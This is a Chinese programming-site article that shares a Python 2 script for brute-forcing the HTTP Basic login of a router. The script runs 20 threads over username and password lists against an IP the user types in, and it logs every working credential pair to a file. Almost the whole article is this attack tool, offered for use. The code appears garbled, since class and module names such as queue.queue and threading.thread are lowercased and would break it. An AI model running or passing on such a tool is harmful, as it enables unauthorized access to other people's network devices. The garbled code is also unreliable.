欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

python实现多线程暴力破解登陆路由器功能代码分享

程序员文章站 2023-11-16 11:51:16
运行时请在其目录下添加user.txt passwd.txt两文件。否则会报错。程序没有加异常处理。代码比较挫..... 复制代码 代码如下: #coding:utf-...

运行时请在其目录下添加user.txt passwd.txt两文件。否则会报错。程序没有加异常处理。代码比较挫.....

复制代码 代码如下:

#coding:utf-8-
import base64
import urllib2
import queue
import threading,re,sys
queue = queue.queue()
class rout_thread(threading.thread):

  def __init__(self,queue,passwd):

    threading.thread.__init__(self)
    self.queue=queue
    self.passwordlist=passwd
  def run(self):
    self.user=queue.get()
    for self.passwd in self.passwordlist:
      request = urllib2.request("http://"+target)
      psw_base64 = "basic " + base64.b64encode(self.user + ":" + self.passwd)
      request.add_header('authorization', psw_base64)
      try:
        
        response = urllib2.urlopen(request)
        print "[+]correct! username: %s, password: %s" % (self.user,self.passwd)
        fp3 = open('log.txt','a')
        fp3.write(self.user+'||'+self.passwd+'\r\n')
        fp3.close()
      except urllib2.httperror:
        print "[-]password:%s error!" % (self.passwd)

 

if __name__ == '__main__':
  print '''
    #######################################################
    #                                                     #
    #                routing brute force tool             #
    #                                                     #
    #                 by:well                             #
    #                                                    #
    #######################################################
'''
  passwordlist = []
  line = 20
  threads = []
  global target
  target = raw_input("input ip:")
  fp =open("user.txt")
  fp2=open("passwd.txt")
  for user in fp.readlines():
    queue.put(user.split('\n')[0])
  for passwd in fp2.readlines():
    passwordlist.append(passwd.split('\n')[0])
    #print passwordlist
      
  fp.close()
  fp2.close()
  for i in range(line):
    a = rout_thread(queue,passwordlist)
    a.start()
    threads.append(a)
  for j in threads:
    j.join()